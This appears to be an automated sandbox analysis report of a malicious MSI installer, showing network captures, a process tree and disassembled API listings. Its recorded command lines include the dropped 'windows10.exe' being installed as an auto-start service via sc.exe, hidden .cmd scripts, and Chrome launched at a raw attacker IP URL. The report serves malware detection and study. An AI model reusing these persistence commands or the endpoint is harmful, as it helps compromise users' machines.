2024-07-04 07:13:37 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FsnEL8SGae9S84c&MD=S8EAWlWO HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-04 07:13:37 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 8cae2b6d-4306-46d3-aae8-084158bf22a6 MS-RequestId: 8d3288cd-6672-4a22-bfb1-204492aa6ce3 MS-CV: H6aC0g5r8Ey4UDIu.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 04 Jul 2024 07:13:37 GMT Connection: close Content-Length: 24490
2024-07-04 07:13:37 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-04 07:13:37 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49720	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 07:14:20 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FsnEL8SGae9S84c&MD=S8EAWlWO HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-04 07:14:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ac0318f9-bd85-4646-a043-762d0ac6b350 MS-RequestId: 97f5f3c7-05df-46a3-8d69-7e31efd9709f MS-CV: D8d4PqxUBkqQyUAl.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 04 Jul 2024 07:14:19 GMT Connection: close Content-Length: 30005
2024-07-04 07:14:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-04 07:14:20 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	0
Start time:	03:13:07
Start date:	04/07/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\hBqTrQLya4.msi"
Imagebase:	0x7ff7dbab0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:13:07
Start date:	04/07/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff7dbab0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:13:09
Start date:	04/07/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 6BAD67B4EB347E35097C3D98448E2079
Imagebase:	0x280000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:13:11
Start date:	04/07/2024
Path:	C:\Windows\Installer\MSIDD62.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSIDD62.tmp" /DontWait /HideWindow "C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\
Imagebase:	0x3e0000
File size:	423'936 bytes
MD5 hash:	768B35409005592DE2333371C6253BC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:13:11
Start date:	04/07/2024
Path:	C:\Windows\Installer\MSIDD92.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSIDD92.tmp" /DontWait /HideWindow "C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Imagebase:	0xd70000
File size:	423'936 bytes
MD5 hash:	768B35409005592DE2333371C6253BC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:13:11
Start date:	04/07/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe"
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000E.00000002.2500868091.00000000008F1000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 5%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	03:13:12
Start date:	04/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\"
Imagebase:	0x7ff74af90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:13:12
Start date:	04/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:13:12
Start date:	04/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\"
Imagebase:	0x7ff74af90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:13:12
Start date:	04/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:13:12
Start date:	04/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto
Imagebase:	0x7ff779e30000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:13:12
Start date:	04/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MeuServico
Imagebase:	0x7ff779e30000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:13:14
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://45.90.123.184/clientes/inspecionando.php
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	03:13:14
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,3053730682193171380,1241186122492042118,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	03:13:20
Start date:	04/07/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" /systemstartup
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000001A.00000002.2500173208.0000000000AD1000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	03:13:21
Start date:	04/07/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" -type:exit-monitor-method:collectupload-session-token
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000001B.00000002.2499757267.0000000000931000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	03:13:21
Start date:	04/07/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=utility--utility-sub-type=network.mojom.
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000001C.00000002.2499650796.00000000009A1000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	03:13:21
Start date:	04/07/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=gpu-process--field-trial-handle=4305.474
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000001D.00000002.2500761297.0000000000951000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	03:13:21
Start date:	04/07/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=renderer--field-trial-handle=4304.754958
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000001E.00000002.2500873728.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	04:32:11
Start date:	04/07/2024
Path:	C:\Users\user\Pictures\fotosdaviagem\windows10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\fotosdaviagem\windows10.exe" neto2
Imagebase:	0x400000
File size:	1'626'280 bytes
MD5 hash:	BDC0CFF1E6E3DB489864041A623F0D1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000020.00000002.2509121919.0000000000A41000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.6%
Total number of Nodes:	344
Total number of Limit Nodes:	5

Executed Functions

Function 003E6EE0 Relevance: 46.0, APIs: 25, Strings: 1, Instructions: 519
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003E5F90: GetCurrentProcess.KERNEL32(00000008,?,755CD0F6), ref: 003E5FA0
Part of subcall function 003E5F90: OpenProcessToken.ADVAPI32(00000000), ref: 003E5FA7

CoInitialize.OLE32(00000000), ref: 003E6F55
CoCreateInstance.OLE32(0042D310,00000000,00000004,0043B320,00000000,?), ref: 003E6F85
CoUninitialize.OLE32 ref: 003E74F6
_com_issue_error.COMSUPP ref: 003E7524

Part of subcall function 003E1910: LocalFree.KERNEL32(?,755CD0F6,?,00000000,004292C0,000000FF,?,?,00441348,00000000,003E16D0,80004005), ref: 003E195C

Strings

$, xrefs: 003E7454

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Process$CreateCurrentFreeInitializeInstanceLocalOpenTokenUninitialize_com_issue_error
String ID: $
API String ID: 2507920217-3993045852
Opcode ID: 1ca910e5451a69b3fd9ee6141759ebba37262f05ae27a4974fb756373095a4dd
Instruction ID: 90f749c0f5d49fde13ac7e63401a1ae796e358e00c2f18b5ae1d310daeb29110
Opcode Fuzzy Hash: 1ca910e5451a69b3fd9ee6141759ebba37262f05ae27a4974fb756373095a4dd
Instruction Fuzzy Hash: 4522C170E04398DFEB12CFA9C948B9DBBB8AF45304F248299E405EB2C1D7759E45CB51

Function 003E5F90 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,755CD0F6), ref: 003E5FA0
OpenProcessToken.ADVAPI32(00000000), ref: 003E5FA7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 003E5FDC
CloseHandle.KERNEL32(?), ref: 003E5FF2

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 459562e0bfaae24554e102f00dbc3ad4b848c2d3a5328d0cecc6feaa7066fdbf
Instruction ID: ff9c0fdcc5f929f3c862eeb6bd21f8d4213874f841809cfade97b52b0aaa2474
Opcode Fuzzy Hash: 459562e0bfaae24554e102f00dbc3ad4b848c2d3a5328d0cecc6feaa7066fdbf
Instruction Fuzzy Hash: 43F01274544301EBE7119F10EC49B9AB7E8BB44708F908829F984C21A0D779D51EDA67

Function 003F1A20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(755CD0F6,?,0000FFFF), ref: 003F1A4D

Part of subcall function 003E4EC0: LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,00000000,00000000,?,?), ref: 003E4EDD

ExitProcess.KERNEL32 ref: 003F1C27

Part of subcall function 003E8790: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 003E880D

Strings

Full command line:, xrefs: 003F1A7E

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: 7373685995bdf3526a8110768491acc9497e5d2aec67cf15c01cfde10f54ff6e
Instruction ID: 3b738205682251a7bd6febc178f60ecd348cc687d5fd1bfaec418155ff0ecef4
Opcode Fuzzy Hash: 7373685995bdf3526a8110768491acc9497e5d2aec67cf15c01cfde10f54ff6e
Instruction Fuzzy Hash: 2E517F30D10168DACB16EB21DC59BEEB775AF54300F1442D9E1096B2E2EF741F49CB91

Function 003E7FD0 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,003E7FA8,755CD0F6), ref: 003E8044
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,003E7FA8,755CD0F6), ref: 003E804E
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,003E7FA8,755CD0F6), ref: 003E80AA

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: 91634f2ab5937240ebd8d182368032f2a8552ef444b38714d1a71676ea67ecef
Instruction ID: 9cb2b3818910e1096dd25f3726c509b439633566ee1132ee1ba961dc10dcf393
Opcode Fuzzy Hash: 91634f2ab5937240ebd8d182368032f2a8552ef444b38714d1a71676ea67ecef
Instruction Fuzzy Hash: 2231AE71A00615AFD720CF59CC45BAFFBF9FB44714F10462EE515A7280DBB5AD048BA4

Function 0041C72B Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,0041AFDA,00000001,00000364,?,00000006,000000FF,?,0040C282,?,?,?), ref: 0041C76C

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8baf37d041a291f986a3990f69517c5853c969abb358ce684c0b8fe845d2d49b
Instruction ID: bf2da7af2177b1f096a195f17616217efaa97c11f95fbf3983e03115826c5f0a
Opcode Fuzzy Hash: 8baf37d041a291f986a3990f69517c5853c969abb358ce684c0b8fe845d2d49b
Instruction Fuzzy Hash: B6F0BB316C122667EB212B26DCC9ADB37889B52771B144127A824A62D0CBA8D88189DD

Non-executed Functions

Function 003E7660 Relevance: 42.4, APIs: 16, Strings: 8, Instructions: 384
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(00000010,00000104,?,?), ref: 003E781F
GetForegroundWindow.USER32(?,?), ref: 003E78A4
ShellExecuteExW.SHELL32(?), ref: 003E78C1
ShellExecuteExW.SHELL32(?), ref: 003E78FF
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 003E7942
GetProcAddress.KERNEL32(00000000), ref: 003E7949
AllowSetForegroundWindow.USER32(00000000), ref: 003E7953
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?), ref: 003E7973
GetProcAddress.KERNEL32(00000000), ref: 003E797A
Sleep.KERNEL32(00000064,?,?,?), ref: 003E7997
EnumWindows.USER32(003E7A90,?), ref: 003E79B3
BringWindowToTop.USER32(?), ref: 003E79C2
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 003E79DF
GetExitCodeProcess.KERNEL32(?,?), ref: 003E79EC

